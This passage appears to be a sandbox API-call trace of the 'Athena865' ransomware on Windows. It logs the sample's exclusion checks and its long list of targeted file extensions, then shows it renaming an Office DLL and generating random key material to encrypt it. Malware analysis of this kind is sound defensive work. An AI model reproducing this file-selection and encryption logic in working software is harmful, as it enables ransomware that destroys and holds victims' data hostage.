(lpString1="OSPPOBJS.DLL", lpString2=".") returned 1 [0115.264] lstrcmpiW (lpString1="OSPPOBJS.DLL", lpString2="..") returned 1 [0115.265] lstrcmpiW (lpString1="OSPPOBJS.DLL", lpString2="windows") returned -1 [0115.265] lstrcmpiW (lpString1="OSPPOBJS.DLL", lpString2="bootmgr") returned 1 [0115.265] lstrcmpiW (lpString1="OSPPOBJS.DLL", lpString2="temp") returned -1 [0115.265] lstrcmpiW (lpString1="OSPPOBJS.DLL", lpString2="pagefile.sys") returned -1 [0115.265] lstrcmpiW (lpString1="OSPPOBJS.DLL", lpString2="boot") returned 1 [0115.265] lstrcmpiW (lpString1="OSPPOBJS.DLL", lpString2="ids.txt") returned 1 [0115.265] lstrcmpiW (lpString1="OSPPOBJS.DLL", lpString2="ntuser.dat") returned 1 [0115.265] lstrcmpiW (lpString1="OSPPOBJS.DLL", lpString2="perflogs") returned -1 [0115.265] lstrcmpiW (lpString1="OSPPOBJS.DLL", lpString2="MSBuild") returned 1 [0115.265] lstrlenW (lpString="OSPPOBJS.DLL") returned 12 [0115.265] lstrcpyW (in: lpString1=0x241e8e8, lpString2="OSPPOBJS.DLL" | out: lpString1="OSPPOBJS.DLL") returned="OSPPOBJS.DLL" [0115.265] lstrlenW (lpString="OSPPOBJS.DLL") returned 12 [0115.265] lstrlenW (lpString="Athena865") returned 9 [0115.265] lstrcmpiW (lpString1="POBJS.DLL", lpString2="Athena865") returned 1 [0115.265] lstrlenW (lpString=".dll") returned 4 [0115.265] lstrcmpiW (lpString1="OSPPOBJS.DLL", lpString2=".dll") returned 1 [0115.265] lstrlenW (lpString=".lnk") returned 4 [0115.265] lstrcmpiW (lpString1="OSPPOBJS.DLL", lpString2=".lnk") returned 1 [0115.265] lstrlenW (lpString=".ini") returned 4 [0115.265] lstrcmpiW (lpString1="OSPPOBJS.DLL", lpString2=".ini") returned 1 [0115.265] lstrlenW (lpString=".sys") returned 4 [0115.265] lstrcmpiW (lpString1="OSPPOBJS.DLL", lpString2=".sys") returned 1 [0115.265] lstrlenW (lpString="OSPPOBJS.DLL") returned 12 [0115.265] lstrlenW (lpString="bak") returned 3 [0115.265] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0115.265] lstrlenW (lpString="ba_") returned 3 [0115.265] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0115.265] lstrlenW (lpString="dbb") returned 3 [0115.265] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0115.265] lstrlenW (lpString="vmdk") returned 4 [0115.265] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1 [0115.265] lstrlenW (lpString="rar") returned 3 [0115.266] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0115.266] lstrlenW (lpString="zip") returned 3 [0115.266] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0115.266] lstrlenW (lpString="tgz") returned 3 [0115.266] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0115.266] lstrlenW (lpString="vbox") returned 4 [0115.266] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1 [0115.266] lstrlenW (lpString="vdi") returned 3 [0115.266] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0115.266] lstrlenW (lpString="vhd") returned 3 [0115.266] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0115.266] lstrlenW (lpString="vhdx") returned 4 [0115.266] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1 [0115.266] lstrlenW (lpString="avhd") returned 4 [0115.266] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1 [0115.266] lstrlenW (lpString="db") returned 2 [0115.266] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0115.266] lstrlenW (lpString="db2") returned 3 [0115.266] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0115.266] lstrlenW (lpString="db3") returned 3 [0115.266] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0115.266] lstrlenW (lpString="dbf") returned 3 [0115.266] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0115.266] lstrlenW (lpString="mdf") returned 3 [0115.266] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0115.266] lstrlenW (lpString="mdb") returned 3 [0115.266] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0115.266] lstrlenW (lpString="sql") returned 3 [0115.266] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1 [0115.266] lstrlenW (lpString="sqlite") returned 6 [0115.266] lstrcmpiW (lpString1="JS.DLL", lpString2="sqlite") returned -1 [0115.266] lstrlenW (lpString="sqlite3") returned 7 [0115.267] lstrcmpiW (lpString1="BJS.DLL", lpString2="sqlite3") returned -1 [0115.267] lstrlenW (lpString="sqlitedb") returned 8 [0115.267] lstrcmpiW (lpString1="OBJS.DLL", lpString2="sqlitedb") returned -1 [0115.267] lstrlenW (lpString="xml") returned 3 [0115.267] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0115.267] lstrlenW (lpString="$er") returned 3 [0115.267] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0115.267] lstrlenW (lpString="4dd") returned 3 [0115.267] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0115.267] lstrlenW (lpString="4dl") returned 3 [0115.267] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0115.267] lstrlenW (lpString="^^^") returned 3 [0115.267] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0115.267] lstrlenW (lpString="abs") returned 3 [0115.267] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 [0115.267] lstrlenW (lpString="abx") returned 3 [0115.267] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0115.267] lstrlenW (lpString="accdb") returned 5 [0115.267] lstrcmpiW (lpString1="S.DLL", lpString2="accdb") returned 1 [0115.267] lstrlenW (lpString="accdc") returned 5 [0115.267] lstrcmpiW (lpString1="S.DLL", lpString2="accdc") returned 1 [0115.267] lstrlenW (lpString="accde") returned 5 [0115.267] lstrcmpiW (lpString1="S.DLL", lpString2="accde") returned 1 [0115.267] lstrlenW (lpString="accdr") returned 5 [0115.267] lstrcmpiW (lpString1="S.DLL", lpString2="accdr") returned 1 [0115.267] lstrlenW (lpString="accdt") returned 5 [0115.267] lstrcmpiW (lpString1="S.DLL", lpString2="accdt") returned 1 [0115.267] lstrlenW (lpString="accdw") returned 5 [0115.267] lstrcmpiW (lpString1="S.DLL", lpString2="accdw") returned 1 [0115.267] lstrlenW (lpString="accft") returned 5 [0115.267] lstrcmpiW (lpString1="S.DLL", lpString2="accft") returned 1 [0115.267] lstrlenW (lpString="adb") returned 3 [0115.268] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0115.268] lstrlenW (lpString="adb") returned 3 [0115.268] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0115.268] lstrlenW (lpString="ade") returned 3 [0115.268] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1 [0115.268] lstrlenW (lpString="adf") returned 3 [0115.268] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0115.268] lstrlenW (lpString="adn") returned 3 [0115.268] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0115.268] lstrlenW (lpString="adp") returned 3 [0115.268] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1 [0115.268] lstrlenW (lpString="alf") returned 3 [0115.268] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1 [0115.268] lstrlenW (lpString="ask") returned 3 [0115.268] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1 [0115.268] lstrlenW (lpString="btr") returned 3 [0115.268] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1 [0115.268] lstrlenW (lpString="cat") returned 3 [0115.268] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1 [0115.268] lstrlenW (lpString="cdb") returned 3 [0115.268] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1 [0115.268] lstrlenW (lpString="ckp") returned 3 [0115.268] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1 [0115.268] lstrlenW (lpString="cma") returned 3 [0115.268] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1 [0115.268] lstrlenW (lpString="cpd") returned 3 [0115.268] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1 [0115.268] lstrlenW (lpString="dacpac") returned 6 [0115.268] lstrcmpiW (lpString1="JS.DLL", lpString2="dacpac") returned 1 [0115.268] lstrlenW (lpString="dad") returned 3 [0115.268] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1 [0115.268] lstrlenW (lpString="dadiagrams") returned 10 [0115.269] lstrcmpiW (lpString1="PPOBJS.DLL", lpString2="dadiagrams") returned 1 [0115.269] lstrlenW (lpString="daschema") returned 8 [0115.269] lstrcmpiW (lpString1="OBJS.DLL", lpString2="daschema") returned 1 [0115.269] lstrlenW (lpString="db-journal") returned 10 [0115.269] lstrcmpiW (lpString1="PPOBJS.DLL", lpString2="db-journal") returned 1 [0115.269] lstrlenW (lpString="db-shm") returned 6 [0115.269] lstrcmpiW (lpString1="JS.DLL", lpString2="db-shm") returned 1 [0115.269] lstrlenW (lpString="db-wal") returned 6 [0115.269] lstrcmpiW (lpString1="JS.DLL", lpString2="db-wal") returned 1 [0115.269] lstrlenW (lpString="dbc") returned 3 [0115.269] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1 [0115.269] lstrlenW (lpString="dbs") returned 3 [0115.269] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1 [0115.269] lstrlenW (lpString="dbt") returned 3 [0115.269] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1 [0115.269] lstrlenW (lpString="dbv") returned 3 [0115.269] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1 [0115.269] lstrlenW (lpString="dbx") returned 3 [0115.269] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1 [0115.269] lstrlenW (lpString="dcb") returned 3 [0115.269] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1 [0115.269] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL.Athena865") returned 102 [0115.269] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppobjs.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppobjs.dll.athena865"), dwFlags=0x1) returned 1 [0115.271] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppobjs.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0115.271] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2173696) returned 1 [0115.271] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0115.271] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e10 [0115.271] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519cc8 [0115.271] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519c40) returned 1 [0115.272] CryptGenRandom (in: hProv=0x519c40, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0115.272] CryptReleaseContext (hProv=0x519c40, dwFlags=0x0) returned 1 [0115.272] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x212e00, lpName=0x0) returned 0x154 [0115.274] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x200000, dwNumberOfBytesToMap=0x12e00) returned 0x100000 [0115.278] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x200000) returned 0x3160000 [0115.454] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519c40) returned 1 [0115.455] CryptGenRandom (in: hProv=0x519c40, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0115.455] CryptReleaseContext (hProv=0x519c40, dwFlags=0x0) returned 1 [0115.455] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538d98 [0115.455] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538d98 | out: hHeap=0x4f0000) returned 1 [0115.456] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0115.456] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0115.456] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0115.456] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0115.456] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0115.456] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0115.456] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0115.456] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0115.456] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0115.457] CloseHandle (hObject=0x154) returned 1 [0115.457] CloseHandle (hObject=0x17c) returned 1 [0115.457] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538e10 | out: hHeap=0x4f0000) returned 1 [0115.457] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519cc8 | out: hHeap=0x4f0000) returned 1 [0115.457] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0115.465] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf332800, ftCreationTime.dwHighDateTime=0x1cabc8a, ftLastAccessTime.dwLowDateTime=0x59948fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf332800, ftLastWriteTime.dwHighDateTime=0x1cabc8a, nFileSizeHigh=0x0, nFileSizeLow=0x3d60, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OSPPREARM.EXE", cAlternateFileName="OSPPRE~1.EXE")) returned 1 [0115.466] lstrcmpiW (lpString1="OSPPREARM.EXE", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0115.466] lstrcmpiW (lpString1="OSPPREARM.EXE", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0115.466] lstrcmpiW (lpString1="OSPPREARM.EXE", lpString2=".") returned 1 [0115.466] lstrcmpiW (lpString1="OSPPREARM.EXE", lpString2="..") returned 1 [0115.466] lstrcmpiW (lpString1="OSPPREARM.EXE", lpString2="windows") returned -1 [0115.466] lstrcmpiW (lpString1="OSPPREARM.EXE", lpString2="bootmgr") returned 1 [0115.466] lstrcmpiW (lpString1="OSPPREARM.EXE", lpString2="temp") returned -1 [0115.466] lstrcmpiW (lpString1="OSPPREARM.EXE", lpString2="pagefile.sys") returned -1 [0115.466] lstrcmpiW (lpString1="OSPPREARM.EXE", lpString2="boot") returned 1 [0115.466] lstrcmpiW (lpString1="OSPPREARM.EXE", lpString2="ids.txt") returned 1 [0115.466] lstrcmpiW (lpString1="OSPPREARM.EXE", lpString2="ntuser.dat") returned 1 [0115.466] lstrcmpiW (lpString1="OSPPREARM.EXE", lpString2="perflogs") returned -1 [0115.466] lstrcmpiW (lpString1="OSPPREARM.EXE", lpString2="MSBuild") returned 1 [0115.466] lstrlenW (lpString="OSPPREARM.EXE") returned 13 [0115.466] lstrcpyW (in: lpString1=0x241e8e8, lpString2="OSPPREARM.EXE" | out: lpString1="OSPPREARM.EXE") returned="OSPPREARM.EXE" [0115.466] lstrlenW (lpString="OSPPREARM.EXE") returned 13 [0115.466] lstrlenW (lpString="Athena865") returned 9 [0115.466] lstrcmpiW (lpString1="REARM.EXE", lpString2="Athena865") returned 1 [0115.466] lstrlenW (lpString=".dll") returned 4 [0115.466] lstrcmpiW (lpString1="OSPPREARM.EXE", lpString2=".dll") returned 1 [0115.466] lstrlenW (lpString=".lnk") returned 4 [0115.466] lstrcmpiW (lpString1="OSPPREARM.EXE", lpString2=".lnk") returned 1 [0115.466] lstrlenW (lpString=".ini") returned 4 [0115.466] lstrcmpiW (lpString1="OSPPREARM.EXE", lpString2=".ini") returned 1 [0115.466] lstrlenW (lpString=".sys") returned 4 [0115.466] lstrcmpiW (lpString1="OSPPREARM.EXE", lpString2=".sys") returned 1 [0115.466] lstrlenW (lpString="OSPPREARM.EXE") returned 13 [0115.466] lstrlenW (lpString="bak") returned 3 [0115.466] lstrcmpiW (lpString1="EXE", lpString2="bak") returned 1 [0115.467] lstrlenW (lpString="ba_") returned 3 [0115.467] lstrcmpiW (lpString1="EXE", lpString2="ba_") returned 1 [0115.467] lstrlenW (lpString="dbb") returned 3 [0115.467] lstrcmpiW (lpString1="EXE", lpString2="dbb") returned 1 [0115.467] lstrlenW (lpString="vmdk") returned 4 [0115.467] lstrcmpiW (lpString1=".EXE", lpString2="vmdk") returned -1 [0115.467] lstrlenW (lpString="rar") returned 3 [0115.467] lstrcmpiW (lpString1="EXE", lpString2="rar") returned -1 [0115.467] lstrlenW (lpString="zip") returned 3 [0115.467] lstrcmpiW (lpString1="EXE", lpString2="zip") returned -1 [0115.467] lstrlenW (lpString="tgz") returned 3 [0115.467] lstrcmpiW (lpString1="EXE", lpString2="tgz") returned -1 [0115.467] lstrlenW (lpString="vbox") returned 4 [0115.467] lstrcmpiW (lpString1=".EXE", lpString2="vbox") returned -1 [0115.467] lstrlenW (lpString="vdi") returned 3 [0115.467] lstrcmpiW (lpString1="EXE", lpString2="vdi") returned -1 [0115.467] lstrlenW (lpString="vhd") returned 3 [0115.467] lstrcmpiW (lpString1="EXE", lpString2="vhd") returned -1 [0115.467] lstrlenW (lpString="vhdx") returned 4 [0115.467] lstrcmpiW (lpString1=".EXE", lpString2="vhdx") returned -1 [0115.467] lstrlenW (lpString="avhd") returned 4 [0115.467] lstrcmpiW (lpString1=".EXE", lpString2="avhd") returned -1 [0115.467] lstrlenW (lpString="db") returned 2 [0115.467] lstrcmpiW (lpString1="XE", lpString2="db") returned 1 [0115.467] lstrlenW (lpString="db2") returned 3 [0115.467] lstrcmpiW (lpString1="EXE", lpString2="db2") returned 1 [0115.467] lstrlenW (lpString="db3") returned 3 [0115.467] lstrcmpiW (lpString1="EXE", lpString2="db3") returned 1 [0115.467] lstrlenW (lpString="dbf") returned 3 [0115.467] lstrcmpiW (lpString1="EXE", lpString2="dbf") returned 1 [0115.468] lstrlenW (lpString="mdf") returned 3 [0115.468] lstrcmpiW (lpString1="EXE", lpString2="mdf") returned -1 [0115.468] lstrlenW (lpString="mdb") returned 3 [0115.468] lstrcmpiW (lpString1="EXE", lpString2="mdb") returned -1 [0115.468] lstrlenW (lpString="sql") returned 3 [0115.468] lstrcmpiW (lpString1="EXE", lpString2="sql") returned -1 [0115.468] lstrlenW (lpString="sqlite") returned 6 [0115.468] lstrcmpiW (lpString1="RM.EXE", lpString2="sqlite") returned -1 [0115.468] lstrlenW (lpString="sqlite3") returned 7 [0115.468] lstrcmpiW (lpString1="ARM.EXE", lpString2="sqlite3") returned -1 [0115.468] lstrlenW (lpString="sqlitedb") returned 8 [0115.468] lstrcmpiW (lpString1="EARM.EXE", lpString2="sqlitedb") returned -1 [0115.468] lstrlenW (lpString="xml") returned 3 [0115.468] lstrcmpiW (lpString1="EXE", lpString2="xml") returned -1 [0115.468] lstrlenW (lpString="$er") returned 3 [0115.468] lstrcmpiW (lpString1="EXE", lpString2="$er") returned 1 [0115.468] lstrlenW (lpString="4dd") returned 3 [0115.468] lstrcmpiW (lpString1="EXE", lpString2="4dd") returned 1 [0115.468] lstrlenW (lpString="4dl") returned 3 [0115.468] lstrcmpiW (lpString1="EXE", lpString2="4dl") returned 1 [0115.468] lstrlenW (lpString="^^^") returned 3 [0115.468] lstrcmpiW (lpString1="EXE", lpString2="^^^") returned 1 [0115.468] lstrlenW (lpString="abs") returned 3 [0115.468] lstrcmpiW (lpString1="EXE", lpString2="abs") returned 1 [0115.468] lstrlenW (lpString="abx") returned 3 [0115.468] lstrcmpiW (lpString1="EXE", lpString2="abx") returned 1 [0115.468] lstrlenW (lpString="accdb") returned 5 [0115.468] lstrcmpiW (lpString1="M.EXE", lpString2="accdb") returned 1 [0115.468] lstrlenW (lpString="accdc") returned 5 [0115.468] lstrcmpiW (lpString1="M.EXE", lpString2="accdc") returned 1 [0115.468] lstrlenW (lpString="accde") returned 5 [0115.469] lstrcmpiW (lpString1="M.EXE", lpString2="accde") returned 1 [0115.469] lstrlenW (lpString="accdr") returned 5 [0115.469] lstrcmpiW (lpString1="M.EXE", lpString2="accdr") returned 1 [0115.469] lstrlenW (lpString="accdt") returned 5 [0115.469] lstrcmpiW (lpString1="M.EXE", lpString2="accdt") returned 1 [0115.469] lstrlenW (lpString="accdw") returned 5 [0115.469] lstrcmpiW (lpString1="M.EXE", lpString2="accdw") returned 1 [0115.469] lstrlenW (lpString="accft") returned 5 [0115.469] lstrcmpiW (lpString1="M.EXE", lpString2="accft") returned 1 [0115.469] lstrlenW (lpString="adb") returned 3 [0115.469] lstrcmpiW (lpString1="EXE", lpString2="adb") returned 1 [0115.469] lstrlenW (lpString="adb") returned 3 [0115.469] lstrcmpiW (lpString1="EXE", lpString2="adb") returned 1 [0115.469] lstrlenW (lpString="ade") returned 3 [0115.469] lstrcmpiW (lpString1="EXE", lpString2="ade") returned 1 [0115.469] lstrlenW (lpString="adf") returned 3 [0115.469] lstrcmpiW (lpString1="EXE", lpString2="adf") returned 1 [0115.469] lstrlenW (lpString="adn") returned 3 [0115.469] lstrcmpiW (lpString1="EXE", lpString2="adn") returned 1 [0115.469] lstrlenW (lpString="adp") returned 3 [0115.469] lstrcmpiW (lpString1="EXE", lpString2="adp") returned 1 [0115.469] lstrlenW (lpString="alf") returned 3 [0115.469] lstrcmpiW (lpString1="EXE", lpString2="alf") returned 1 [0115.469] lstrlenW (lpString="ask") returned 3 [0115.469] lstrcmpiW (lpString1="EXE", lpString2="ask") returned 1 [0115.469] lstrlenW (lpString="btr") returned 3 [0115.469] lstrcmpiW (lpString1="EXE", lpString2="btr") returned 1 [0115.469] lstrlenW (lpString="cat") returned 3 [0115.469] lstrcmpiW (lpString1="EXE", lpString2="cat") returned 1 [0115.469] lstrlenW (lpString="cdb") returned 3 [0115.469] lstrcmpiW (lpString1="EXE", lpString2="cdb") returned 1 [0115.469] lstrlenW (lpString="ckp") returned 3 [0115.470] lstrcmpiW (lpString1="EXE", lpString2="ckp") returned 1 [0115.470] lstrlenW (lpString="cma") returned 3 [0115.470] lstrcmpiW (lpString1="EXE", lpString2="cma") returned 1 [0115.470] lstrlenW (lpString="cpd") returned 3 [0115.470] lstrcmpiW (lpString1="EXE", lpString2="cpd") returned 1 [0115.470] lstrlenW (lpString="dacpac") returned 6 [0115.470] lstrcmpiW (lpString1="RM.EXE", lpString2="dacpac") returned 1 [0115.470] lstrlenW (lpString="dad") returned 3 [0115.470] lstrcmpiW (lpString1="EXE", lpString2="dad") returned 1 [0115.470] lstrlenW (lpString="dadiagrams") returned 10 [0115.470] lstrcmpiW (lpString1="PREARM.EXE", lpString2="dadiagrams") returned 1 [0115.470] lstrlenW (lpString="daschema") returned 8 [0115.470] lstrcmpiW (lpString1="EARM.EXE", lpString2="daschema") returned 1 [0115.470] lstrlenW (lpString="db-journal") returned 10 [0115.470] lstrcmpiW (lpString1="PREARM.EXE", lpString2="db-journal") returned 1 [0115.470] lstrlenW (lpString="db-shm") returned 6 [0115.470] lstrcmpiW (lpString1="RM.EXE", lpString2="db-shm") returned 1 [0115.470] lstrlenW (lpString="db-wal") returned 6 [0115.470] lstrcmpiW (lpString1="RM.EXE", lpString2="db-wal") returned 1 [0115.470] lstrlenW (lpString="dbc") returned 3 [0115.470] lstrcmpiW (lpString1="EXE", lpString2="dbc") returned 1 [0115.470] lstrlenW (lpString="dbs") returned 3 [0115.470] lstrcmpiW (lpString1="EXE", lpString2="dbs") returned 1 [0115.470] lstrlenW (lpString="dbt") returned 3 [0115.470] lstrcmpiW (lpString1="EXE", lpString2="dbt") returned 1 [0115.470] lstrlenW (lpString="dbv") returned 3 [0115.470] lstrcmpiW (lpString1="EXE", lpString2="dbv") returned 1 [0115.470] lstrlenW (lpString="dbx") returned 3 [0115.470] lstrcmpiW (lpString1="EXE", lpString2="dbx") returned 1 [0115.470] lstrlenW (lpString="dcb") returned 3 [0115.470] lstrcmpiW (lpString1="EXE", lpString2="dcb") returned 1 [0115.471] lstrlenW (lpString="dct") returned 3 [0115.471] lstrcmpiW (lpString1="EXE", lpString2="dct") returned 1 [0115.471] lstrlenW (lpString="dcx") returned 3 [0115.471] lstrcmpiW (lpString1="EXE", lpString2="dcx") returned 1 [0115.471] lstrlenW (lpString="ddl") returned 3 [0115.471] lstrcmpiW (lpString1="EXE", lpString2="ddl") returned 1 [0115.471] lstrlenW (lpString="dlis") returned 4 [0115.471] lstrcmpiW (lpString1=".EXE", lpString2="dlis") returned -1 [0115.471] lstrlenW (lpString="dp1") returned 3 [0115.471] lstrcmpiW (lpString1="EXE", lpString2="dp1") returned 1 [0115.471] lstrlenW (lpString="dqy") returned 3 [0115.471] lstrcmpiW (lpString1="EXE", lpString2="dqy") returned 1 [0115.471] lstrlenW (lpString="dsk") returned 3 [0115.471] lstrcmpiW (lpString1="EXE", lpString2="dsk") returned 1 [0115.471] lstrlenW (lpString="dsn") returned 3 [0115.471] lstrcmpiW (lpString1="EXE", lpString2="dsn") returned 1 [0115.471] lstrlenW (lpString="dtsx") returned 4 [0115.471] lstrcmpiW (lpString1=".EXE", lpString2="dtsx") returned -1 [0115.471] lstrlenW (lpString="dxl") returned 3 [0115.471] lstrcmpiW (lpString1="EXE", lpString2="dxl") returned 1 [0115.471] lstrlenW (lpString="eco") returned 3 [0115.471] lstrcmpiW (lpString1="EXE", lpString2="eco") returned 1 [0115.471] lstrlenW (lpString="ecx") returned 3 [0115.471] lstrcmpiW (lpString1="EXE", lpString2="ecx") returned 1 [0115.471] lstrlenW (lpString="edb") returned 3 [0115.471] lstrcmpiW (lpString1="EXE", lpString2="edb") returned 1 [0115.471] lstrlenW (lpString="epim") returned 4 [0115.471] lstrcmpiW (lpString1=".EXE", lpString2="epim") returned -1 [0115.471] lstrlenW (lpString="fcd") returned 3 [0115.471] lstrcmpiW (lpString1="EXE", lpString2="fcd") returned -1 [0115.472] lstrlenW (lpString="fdb") returned 3 [0115.472] lstrcmpiW (lpString1="EXE", lpString2="fdb") returned -1 [0115.472] lstrlenW (lpString="fic") returned 3 [0115.472] lstrcmpiW (lpString1="EXE", lpString2="fic") returned -1 [0115.472] lstrlenW (lpString="flexolibrary") returned 12 [0115.472] lstrcmpiW (lpString1="SPPREARM.EXE", lpString2="flexolibrary") returned 1 [0115.472] lstrlenW (lpString="fm5") returned 3 [0115.472] lstrcmpiW (lpString1="EXE", lpString2="fm5") returned -1 [0115.472] lstrlenW (lpString="fmp") returned 3 [0115.472] lstrcmpiW (lpString1="EXE", lpString2="fmp") returned -1 [0115.472] lstrlenW (lpString="fmp12") returned 5 [0115.472] lstrcmpiW (lpString1="M.EXE", lpString2="fmp12") returned 1 [0115.472] lstrlenW (lpString="fmpsl") returned 5 [0115.472] lstrcmpiW (lpString1="M.EXE", lpString2="fmpsl") returned 1 [0115.472] lstrlenW (lpString="fol") returned 3 [0115.472] lstrcmpiW (lpString1="EXE", lpString2="fol") returned -1 [0115.472] lstrlenW (lpString="fp3") returned 3 [0115.472] lstrcmpiW (lpString1="EXE", lpString2="fp3") returned -1 [0115.472] lstrlenW (lpString="fp4") returned 3 [0115.472] lstrcmpiW (lpString1="EXE", lpString2="fp4") returned -1 [0115.472] lstrlenW (lpString="fp5") returned 3 [0115.472] lstrcmpiW (lpString1="EXE", lpString2="fp5") returned -1 [0115.472] lstrlenW (lpString="fp7") returned 3 [0115.472] lstrcmpiW (lpString1="EXE", lpString2="fp7") returned -1 [0115.472] lstrlenW (lpString="fpt") returned 3 [0115.472] lstrcmpiW (lpString1="EXE", lpString2="fpt") returned -1 